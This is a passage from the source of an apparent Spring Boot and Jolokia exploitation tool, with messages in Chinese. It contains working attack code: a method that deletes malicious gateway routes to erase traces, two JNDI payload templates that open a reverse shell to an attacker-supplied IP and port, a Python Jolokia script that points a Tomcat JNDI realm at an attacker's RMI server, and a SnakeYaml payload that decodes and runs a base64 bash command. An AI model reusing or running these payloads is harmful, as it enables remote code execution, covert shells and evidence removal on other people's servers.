e){ 175 | text = "发起请求异常"; 176 | callback.onResult(text); 177 | e.printStackTrace(); 178 | } 179 | } 180 | 181 | public void DelGaw(ResultCallback callback) throws IOException{ 182 | String api = ""; 183 | String api1 = ""; 184 | String ua = ""; 185 | String expapi = ""; 186 | String text = ""; 187 | String refapi = ""; 188 | disableSSLVerification(); 189 | URL obj = new URL(address + "/actuator/env"); 190 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 191 | UA_Config uacf = new UA_Config(); 192 | List ualist = uacf.loadUserAgents(); 193 | ua = uacf.getRandomUserAgent(ualist); 194 | conn.setRequestProperty("User-Agent",ua); 195 | conn.setRequestMethod("GET"); 196 | conn.setDoOutput(true); 197 | int responseCode = conn.getResponseCode(); 198 | if (responseCode == HttpURLConnection.HTTP_OK){ 199 | api = "/actuator/gateway/routes/poctest"; 200 | refapi = "/actuator/gateway/refresh"; 201 | api1 = "/actuator/gateway/routes/expvul"; 202 | expapi = "/actuator/gateway/routes/pwnshell"; 203 | }else { 204 | api = "/gateway/routes/poctest"; 205 | refapi = "/gateway/refresh"; 206 | api1 = "/gateway/routes/expvul"; 207 | expapi = "/gateway/routes/pwnshell"; 208 | } 209 | String site = address + api; 210 | String site1 = address + api1; 211 | String site2 = address + expapi; 212 | try { 213 | URL obj1 = new URL(site); 214 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 215 | ua = uacf.getRandomUserAgent(ualist); 216 | conn1.setRequestProperty("User-Agent",ua); 217 | conn1.setRequestMethod("DELETE"); 218 | conn1.setDoOutput(true); 219 | int responseCode1 = conn1.getResponseCode(); 220 | URL obj2 = new URL(site1); 221 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 222 | ua = uacf.getRandomUserAgent(ualist); 223 | conn2.setRequestProperty("User-Agent",ua); 224 | conn2.setRequestMethod("DELETE"); 225 | conn2.setDoOutput(true); 226 | int responseCode2 = conn2.getResponseCode(); 227 | URL obj3 = new URL(site2); 228 | HttpURLConnection conn3 = (HttpURLConnection) obj3.openConnection(); 229 | ua = uacf.getRandomUserAgent(ualist); 230 | conn3.setRequestProperty("User-Agent",ua); 231 | conn3.setRequestMethod("DELETE"); 232 | conn3.setDoOutput(true); 233 | int responseCode3 = conn3.getResponseCode(); 234 | if (responseCode1 == HttpURLConnection.HTTP_OK || responseCode2 == HttpURLConnection.HTTP_OK || responseCode3 == HttpURLConnection.HTTP_OK) { 235 | String refsite = address + refapi; 236 | URL refobj = new URL(refsite); 237 | HttpURLConnection refconn = (HttpURLConnection) refobj.openConnection(); 238 | ua = uacf.getRandomUserAgent(ualist); 239 | refconn.setRequestProperty("User-Agent",ua); 240 | refconn.setRequestMethod("POST"); 241 | refconn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 242 | refconn.setDoOutput(true); 243 | int refcode = refconn.getResponseCode(); 244 | if (refcode == HttpURLConnection.HTTP_OK) { 245 | text = "痕迹清除成功"; 246 | callback.onResult(text); 247 | } else{ 248 | text = "POST request failed with response code: " + responseCode1; 249 | callback.onResult(text); 250 | } 251 | }else{ 252 | text = "无法删除路由"; 253 | callback.onResult(text); 254 | } 255 | }catch (Exception e){ 256 | text = "发起请求异常"; 257 | callback.onResult(text); 258 | e.printStackTrace(); 259 | } 260 | } 261 | } 262 | 263 | -------------------------------------------------------------------------------- /src/main/template/JNDIObject/H2DataConsoleTemplate.java: -------------------------------------------------------------------------------- 1 | package src.main.template.JNDIObject; /** 2 | * javac -source 1.5 -target 1.5 src.main.template.JNDIObject.JNDIObject.java 3 | * 4 | * Build By LandGrey 5 | * */ 6 | 7 | import java.io.File; 8 | import java.io.InputStream; 9 | import java.io.OutputStream; 10 | import java.net.Socket; 11 | 12 | public class H2DataConsoleTemplate { 13 | static { 14 | try{ 15 | String ip = "%s"; 16 | String port = "%s"; 17 | String py_path = null; 18 | String[] cmd; 19 | if (!System.getProperty("os.name").toLowerCase().contains("windows")) { 20 | String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; 21 | for(int i = 0; i < py_envs.length; ++i) { 22 | String py = py_envs[i]; 23 | if ((new File(py)).exists()) { 24 | py_path = py; 25 | break; 26 | } 27 | } 28 | if (py_path != null) { 29 | if ((new File("/bin/bash")).exists()) { 30 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; 31 | } else { 32 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; 33 | } 34 | } else { 35 | if ((new File("/bin/bash")).exists()) { 36 | cmd = new String[]{"/bin/bash"}; 37 | } else { 38 | cmd = new String[]{"/bin/sh"}; 39 | } 40 | } 41 | } else { 42 | cmd = new String[]{"cmd.exe"}; 43 | } 44 | Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); 45 | Socket s = new Socket(ip, Integer.parseInt(port)); 46 | InputStream pi = p.getInputStream(); 47 | InputStream pe = p.getErrorStream(); 48 | InputStream si = s.getInputStream(); 49 | OutputStream po = p.getOutputStream(); 50 | OutputStream so = s.getOutputStream(); 51 | while(!s.isClosed()) { 52 | while(pi.available() > 0) { 53 | so.write(pi.read()); 54 | } 55 | while(pe.available() > 0) { 56 | so.write(pe.read()); 57 | } 58 | while(si.available() > 0) { 59 | po.write(si.read()); 60 | } 61 | so.flush(); 62 | po.flush(); 63 | Thread.sleep(50L); 64 | try { 65 | p.exitValue(); 66 | break; 67 | } catch (Exception e) { 68 | } 69 | } 70 | p.destroy(); 71 | s.close(); 72 | }catch (Throwable e){ 73 | e.printStackTrace(); 74 | } 75 | } 76 | } -------------------------------------------------------------------------------- /src/main/template/JNDIObject/JolokiaLogbackTemplate.java: -------------------------------------------------------------------------------- 1 | package src.main.template.JNDIObject; 2 | 3 | import java.io.File; 4 | import java.io.InputStream; 5 | import java.io.OutputStream; 6 | import java.net.Socket; 7 | 8 | public class JolokiaLogbackTemplate { 9 | static { 10 | try{ 11 | String ip = "%s"; 12 | String port = "%s"; 13 | String py_path = null; 14 | String[] cmd; 15 | if (!System.getProperty("os.name").toLowerCase().contains("windows")) { 16 | String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; 17 | for(int i = 0; i < py_envs.length; ++i) { 18 | String py = py_envs[i]; 19 | if ((new File(py)).exists()) { 20 | py_path = py; 21 | break; 22 | } 23 | } 24 | if (py_path != null) { 25 | if ((new File("/bin/bash")).exists()) { 26 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; 27 | } else { 28 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; 29 | } 30 | } else { 31 | if ((new File("/bin/bash")).exists()) { 32 | cmd = new String[]{"/bin/bash"}; 33 | } else { 34 | cmd = new String[]{"/bin/sh"}; 35 | } 36 | } 37 | } else { 38 | cmd = new String[]{"cmd.exe"}; 39 | } 40 | Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); 41 | Socket s = new Socket(ip, Integer.parseInt(port)); 42 | InputStream pi = p.getInputStream(); 43 | InputStream pe = p.getErrorStream(); 44 | InputStream si = s.getInputStream(); 45 | OutputStream po = p.getOutputStream(); 46 | OutputStream so = s.getOutputStream(); 47 | while(!s.isClosed()) { 48 | while(pi.available() > 0) { 49 | so.write(pi.read()); 50 | } 51 | while(pe.available() > 0) { 52 | so.write(pe.read()); 53 | } 54 | while(si.available() > 0) { 55 | po.write(si.read()); 56 | } 57 | so.flush(); 58 | po.flush(); 59 | Thread.sleep(50L); 60 | try { 61 | p.exitValue(); 62 | break; 63 | } catch (Exception e) { 64 | } 65 | } 66 | p.destroy(); 67 | s.close(); 68 | }catch (Throwable e){ 69 | e.printStackTrace(); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /src/main/template/RealmObject/RealmJolokiaTemplate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding: utf-8 3 | # Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt 4 | 5 | 6 | import requests 7 | 8 | 9 | url = '%s/jolokia' 10 | 11 | 12 | create_realm = { 13 | "mbean": "Tomcat:type=MBeanFactory", 14 | "type": "EXEC", 15 | "operation": "createJNDIRealm", 16 | "arguments": ["Tomcat:type=Engine"] 17 | } 18 | 19 | wirte_factory = { 20 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 21 | "type": "WRITE", 22 | "attribute": "contextFactory", 23 | "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" 24 | } 25 | 26 | write_url = { 27 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 28 | "type": "WRITE", 29 | "attribute": "connectionURL", 30 | "value": "rmi://%s:1389/JolokiaRealm" 31 | } 32 | 33 | stop = { 34 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 35 | "type": "EXEC", 36 | "operation": "stop", 37 | "arguments": [] 38 | } 39 | 40 | start = { 41 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 42 | "type": "EXEC", 43 | "operation": "start", 44 | "arguments": [] 45 | } 46 | 47 | flow = [create_realm, wirte_factory, write_url, stop, start] 48 | 49 | for i in flow: 50 | print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute')))) 51 | r = requests.post(url, json=i) 52 | r.json() 53 | print(r.status_code) -------------------------------------------------------------------------------- /src/main/template/YAMLObject/SnakeYamlTemplate.java: -------------------------------------------------------------------------------- 1 | package src.main.template.YAMLObject; 2 | 3 | import javax.script.ScriptEngine; 4 | import javax.script.ScriptEngineFactory; 5 | import java.io.IOException; 6 | import java.util.List; 7 | 8 | public class SnakeYamlTemplate implements ScriptEngineFactory { 9 | 10 | public SnakeYamlTemplate() { 11 | try { 12 | Runtime.getRuntime().exec("bash -c {echo,%s}|{base64,-d}|{bash,-i}"); 13 | } catch (IOException e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | 18 | @Override 19 | public String getEngineName() { 20 | return null; 21 | } 22 | 23 | @Override 24 | public String getEngineVersion() { 25 | return null; 26 | } 27 | 28 | @Override 29 | public List getExtensions() { 30 | return null; 31 | } 32 | 33 | @Override 34 | public List getMimeTypes() { 35 | return null; 36 | } 37 | 38 | @Override 39 | public List getNames() { 40 | return null; 41 | } 42 | 43 | @Override 44 | public String getLanguageName() { 45 | return null; 46 | } 47 | 48 | @Override 49 | public String getLanguageVersion() { 50 | return null; 51 | } 52 | 53 | @Override 54 | public Object getParameter(String key) { 55 | return null; 56 | } 57 | 58 | @Override 59 | public String getMethodCallSyntax(String obj, String m, String... args) { 60 | return null; 61 | } 62 | 63 | @Override 64 | public String getOutputStatement(String toDisplay) { 65 | return null; 66 | } 67 | 68 | @Override 69 | public String getProgram(String... statements) { 70 | return null; 71 | } 72 | 73 | @Override 74 | public ScriptEngine getScriptEngine() { 75 | return null; 76 | } 77 | } --------------------------------------------------------------------------------